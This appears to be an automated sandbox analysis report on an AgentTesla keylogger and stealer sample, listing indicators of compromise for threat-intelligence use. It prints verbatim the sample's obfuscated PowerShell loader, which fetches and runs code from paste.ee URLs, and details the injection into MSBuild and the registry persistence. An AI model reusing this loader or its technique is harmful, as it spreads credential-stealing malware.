agenttesla | c4c846dfa5755910d28a93a91ecfea8dcde72860fea03da1a47adf9ce65470a1

Analysis

max time kernel
67s
max time network
112s
platform
windows7_x64
resource
win7
submitted
13-07-2020 05:29

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General

Target

nnLfl.exe
Size

125KB
MD5

b438cf5e9aa34e6cfa3d8d27d2649326
SHA1

a2545f5c8af6da03288dd0b24ddc72fbb35cad2d
SHA256

c4c846dfa5755910d28a93a91ecfea8dcde72860fea03da1a47adf9ce65470a1
SHA512

d14ff36b56a7312a8860a87d242548b5e7df3f7174daeb2031b12a8d1bf5cfa8680442bf8ad1eb8393ec27fd65f6c02dfd51a93ba1974f6fa470218ef055ffdc

Score

10^/10

agenttesla keylogger persistence spyware stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

httP://paste.ee/r/3rgRS

ps1.dropper

httPs://paste.ee/r/fgIgt

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

AgentTesla Payload 4 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1044-3-0x0000000000400000-0x000000000044C000-memory.dmp	family_agenttesla
behavioral1/memory/1044-4-0x0000000000446E9E-mapping.dmp	family_agenttesla
behavioral1/memory/1044-5-0x0000000000400000-0x000000000044C000-memory.dmp	family_agenttesla
behavioral1/memory/1044-6-0x0000000000400000-0x000000000044C000-memory.dmp	family_agenttesla

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

7 864 powershell.exe
8 864 powershell.exe

flow	pid	process
7	864	powershell.exe
8	864	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

MSBuild.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Windows\CurrentVersion\Run\Myfile = "C:\\Users\\Admin\\AppData\\Roaming\\Myfile\\Myfile.exe"	MSBuild.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 864 set thread context of 1044 864 powershell.exe MSBuild.exe
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exeMSBuild.exe

pid process

864 powershell.exe
864 powershell.exe
864 powershell.exe
1044 MSBuild.exe
1044 MSBuild.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

nnLfl.exepowershell.exeMSBuild.exe

description pid process

Token: SeDebugPrivilege 892 nnLfl.exe
Token: SeDebugPrivilege 864 powershell.exe
Token: SeDebugPrivilege 1044 MSBuild.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

MSBuild.exe

pid process

1044 MSBuild.exe

description	pid	process	target process
PID 864 set thread context of 1044	864	powershell.exe	MSBuild.exe

pid	process
864	powershell.exe
864	powershell.exe
864	powershell.exe
1044	MSBuild.exe
1044	MSBuild.exe

description	pid	process
Token: SeDebugPrivilege	892	nnLfl.exe
Token: SeDebugPrivilege	864	powershell.exe
Token: SeDebugPrivilege	1044	MSBuild.exe

pid	process
1044	MSBuild.exe

Suspicious use of WriteProcessMemory 17 IoCs

Processes:

nnLfl.exepowershell.exe

description	pid	process	target process
PID 892 wrote to memory of 864	892	nnLfl.exe	powershell.exe
PID 892 wrote to memory of 864	892	nnLfl.exe	powershell.exe
PID 892 wrote to memory of 864	892	nnLfl.exe	powershell.exe
PID 892 wrote to memory of 864	892	nnLfl.exe	powershell.exe
PID 864 wrote to memory of 1064	864	powershell.exe	MSBuild.exe
PID 864 wrote to memory of 1064	864	powershell.exe	MSBuild.exe
PID 864 wrote to memory of 1064	864	powershell.exe	MSBuild.exe
PID 864 wrote to memory of 1064	864	powershell.exe	MSBuild.exe
PID 864 wrote to memory of 1044	864	powershell.exe	MSBuild.exe
PID 864 wrote to memory of 1044	864	powershell.exe	MSBuild.exe
PID 864 wrote to memory of 1044	864	powershell.exe	MSBuild.exe
PID 864 wrote to memory of 1044	864	powershell.exe	MSBuild.exe
PID 864 wrote to memory of 1044	864	powershell.exe	MSBuild.exe
PID 864 wrote to memory of 1044	864	powershell.exe	MSBuild.exe
PID 864 wrote to memory of 1044	864	powershell.exe	MSBuild.exe
PID 864 wrote to memory of 1044	864	powershell.exe	MSBuild.exe
PID 864 wrote to memory of 1044	864	powershell.exe	MSBuild.exe

C:\Users\Admin\AppData\Local\Temp\nnLfl.exe
"C:\Users\Admin\AppData\Local\Temp\nnLfl.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:892

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -w 1 /e JAByAGUAZwAgAD0AIAAoACcAewAyAH0AewAwAH0AewAxAH0AewAzAH0AJwAtAGYAJwBkAFMAdAAnACwAJwByAGkAbgAnACwAHCBgAEQAYABvAGAAdwBuAGAAbABgAG8AYQAdICwAJwBnACcAKQA7AFsAdgBvAGkAZABdACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZABXAGkAdABoAFAAYQByAHQAaQBhAGwATgBhAG0AZQAoACcATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMAJwApADsAJABmAGoAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAHIAZQBnACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAJwAgACsAIABbAEMAaABhAHIAXQA1ADgAIAArACAAJwAvAC8AcABhAHMAdABlAC4AZQBlAC8AcgAvADMAcgBnAFIAUwAnACkALgBSAGUAcABsAGEAYwBlACgAIgBeACIALAAgACIANAA0ACIAKQAuAFIAZQBwAGwAYQBjAGUAKAAiACoAIgAsACAAIgA0ADgAIgApAC4AUgBlAHAAbABhAGMAZQAoACIAIwAiACwAIAAiADcAOAAiACkAfABJAEUAWAA7AFsAQgB5AHQAZQBbAF0AXQAkAGYAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAHIAZQBnACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAcwAnACAAKwAgAFsAQwBoAGEAcgBdADUAOAAgACsAIAAnAC8ALwBwAGEAcwB0AGUALgBlAGUALwByAC8AZgBnAEkAZwB0ACcAKQAuAHIAZQBwAGwAYQBjAGUAKAAnACQAJAAnACwAJwAwAHgAJwApAHwASQBFAFgAOwBbAEMALgBNAF0AOgA6AFIAKAAnAE0AUwBCAHUAaQBsAGQALgBlAHgAZQAnACwAJABmACkA
2⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:864

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
3⤵
PID:1064

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
3⤵
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:1044

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_231c2208-0720-4eec-b9f1-8bba11abd9fa
MD5
5e3c7184a75d42dda1a83606a45001d8

SHA1
94ca15637721d88f30eb4b6220b805c5be0360ed

SHA256
8278033a65d1ff48be4d86e11f87930d187692f59f8bf2f0a9d170de285afb59

SHA512
fae99b6e9b106e0f1c30aa4082b25ae1ad643455c1295c2c16ad534e3e611b9b08492353ffe1af1cfdddc9b2b7c330747a64012c45e62b8f4a4982dcc214e05b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_235184f8-dcca-4459-ace7-181c154dff79
MD5
a725bb9fafcf91f3c6b7861a2bde6db2

SHA1
8bb5b83f3cc37ff1e5ea4f02acae38e72364c114

SHA256
51651f27f54c7261887037aa1de4eff0a26c6807906dfc34a15cd5a0b58a8431

SHA512
1c4b21dd5660bfec8347257bb3da64681b0a97c427790d9ab3484f687dac032bcff0e07876635953697b00cf83e7d37f97c44e0219627fd0533f60ed3024b97e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_57c6647c-75fc-47bb-8ce4-3b8f0921c533
MD5
75a8da7754349b38d64c87c938545b1b

SHA1
5c28c257d51f1c1587e29164cc03ea880c21b417

SHA256
bf08151c174b5d00c9dbc7907b2c6a01b4be76bfa3afce1e8bd98a04ad833c96

SHA512
798797bc74c56c874e9a5fdcb0157c04e37a1b3cce285ef064b01bceef8cec45f11a5198918c6c647220b62883606b5e12e3cca3ea369f3a66e69dea6e15f643

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6d5fa298-996f-4fc9-9c01-b2226cbdaeba
MD5
02ff38ac870de39782aeee04d7b48231

SHA1
0390d39fa216c9b0ecdb38238304e518fb2b5095

SHA256
fbd66a9baf753db31b8de23f2d51b67f8676687503653103080c45b16f1dc876

SHA512
24a1ff76ee42ff7a5ea42843928c4df07b06178f7781cd840e1e086e88735d81506eb67259ff1e6ce5aaa7c5baea03886da265eb7e025ff4dc4c4b5f8cd3e341

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7d6878ec-2a8b-418c-8f2b-b6fcd4b50cf8
MD5
b6d38f250ccc9003dd70efd3b778117f

SHA1
d5a17c02cac698d4f0a4a9b7d71db2aa19e3f18a

SHA256
4de9d7b5ccab7b67ca8efc83084c7ee6e5e872b7216ed4683bc5da950bf41265

SHA512
67d8195836b7f280d3f9219fd0f58276342e55d5dfdd8a4c54355030d96685d73f1b2b6da0eb39322ec7c3a1d1c5ef06b52d22646cea30a96f822de1800d31e9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_de4eedb8-4762-4c56-b80c-203df3aa6fa8
MD5
597009ea0430a463753e0f5b1d1a249e

SHA1
4e38b8bb65ecbd5c9f0d3d8c47f7caba33de6c62

SHA256
3fd2a8217a845c43dbc0dc206c28be81d2687aa9ba62019d905aef10cfaec45d

SHA512
5d722fa908e64575b2497c60d142e182011a10c6ed33813b3b4796b3147ece1bc96938518b4c8911a1bac3b7560528ebe3e8e754c11015516d335df5d7c6871d

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e43ce3f6-b60d-4b70-bed1-86e53bf07360
MD5
df44874327d79bd75e4264cb8dc01811

SHA1
1396b06debed65ea93c24998d244edebd3c0209d

SHA256
55de642c5c9e436ec01c57004dae797022442c3245daf7162d19a5585f221181

SHA512
95dc9298b8db059bbe746f67e6a7f8515781c7053cc60c01532e47623a996be7e1bd23d1bd8f5f2045adff27454f44930d503c15b695690088841cedbd2a06c3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fabbb9cf-9b8c-4b2f-b33d-0de7a9a3a10e
MD5
be4d72095faf84233ac17b94744f7084

SHA1
cc78ce5b9c57573bd214a8f423ee622b00ebb1ec

SHA256
b0d72c5c22e57913476ac8fc686a4593f137c6667d5094522c0a0685dabd7adc

SHA512
43856e9b1032b8690ceea810c931bed3655e9190414bb220fb6afc136f31b8335e07604dffb28405d4006f266a54cff424c527d29924b1b732c9647a3252b097

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
MD5
f04c7a1910ad288407f78c423aa7ff5e

SHA1
cbbbe1006a8ebf11fec57b1cbff926c0709921c5

SHA256
a0ff19d440cd67532e498051b912765a7e84ee4ea8f44a375e5c59029e0b2191

SHA512
22223e27de9ce49e7d6f674bb07af1b2a1aa4f79a7b0e6320861d16b9e2f0fb0297c88d4f47ba00d32cf8f3c07fd136ef3a2cecca47d5d72a3e52f40f3883f9d

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memory/864-0-0x0000000000000000-mapping.dmp

Download
memory/892-18-0x0000000007F50000-0x0000000007F51000-memory.dmp

Filesize
4KB

Download
memory/892-17-0x00000000077C0000-0x00000000077C1000-memory.dmp

Filesize
4KB

Download
memory/892-16-0x00000000077C0000-0x00000000077C1000-memory.dmp

Filesize
4KB

Download
memory/1044-5-0x0000000000400000-0x000000000044C000-memory.dmp

Filesize
304KB

Download
memory/1044-3-0x0000000000400000-0x000000000044C000-memory.dmp

Filesize
304KB

Download
memory/1044-4-0x0000000000446E9E-mapping.dmp

Download
memory/1044-6-0x0000000000400000-0x000000000044C000-memory.dmp

Filesize
304KB

Download